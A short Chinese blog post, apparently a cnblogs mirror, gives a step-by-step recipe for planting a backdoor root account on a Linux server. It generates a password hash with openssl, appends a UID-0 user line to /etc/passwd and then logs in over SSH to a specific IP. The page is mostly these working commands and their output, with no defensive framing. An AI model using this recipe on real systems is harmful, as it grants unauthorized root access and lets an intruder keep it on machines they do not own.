zoukankan      html  css  js  c++  java
  • passwd文件写入用户密码

    passwd文件写入用户密码

    在有/etc/passwd写入权限的情况下,通过写入一条账号密码,可以直接使用写入的账号密码登录服务器。

    第一步:使用openssl passwd生成加密后的密码

    openssl passwd -1 -salt raj  #生成加密后的密码, -salt 加盐,-1 linux密码加密方式

    123@wacky  #输入密码

    $1$raj$PUzoloEwPB0aeoBnAB6CO/   #加密后的密码

    第二步:追加构造好的passwd行到/etc/passwd文件中

    echo 'raj:$1$raj$PUzoloEwPB0aeoBnAB6CO/:0:0::/root:/bin/bash' >>/etc/passwd  #添加到root组中,并且用户id为0 ,登录后whoami为root

    tail passwd   #查看修改添加结果

    应具备ssh远程的条件,安装开启了ssh服务,ssh端口对外开放。

    ssh raj@207.107.114.64 -p 22

    参考:

    openssl passwd - 骏马金龙 - 博客园

    https://www.cnblogs.com/f-ck-need-u/p/6089869.html

    openssl用法详解 - Echo/ - 博客园

    https://www.cnblogs.com/yangxiaolan/p/6256838.html

     
  • 相关阅读:
    c++ 容器学习 理论
    TCP和UDP发送数据包的大小问题
    key.go
    election.go
    watch.go
    txn.go
    sort.go
    retry.go
    op.go
    maintenance.go
  • 原文地址:https://www.cnblogs.com/twpone/p/14136529.html
Copyright © 2011-2022 走看看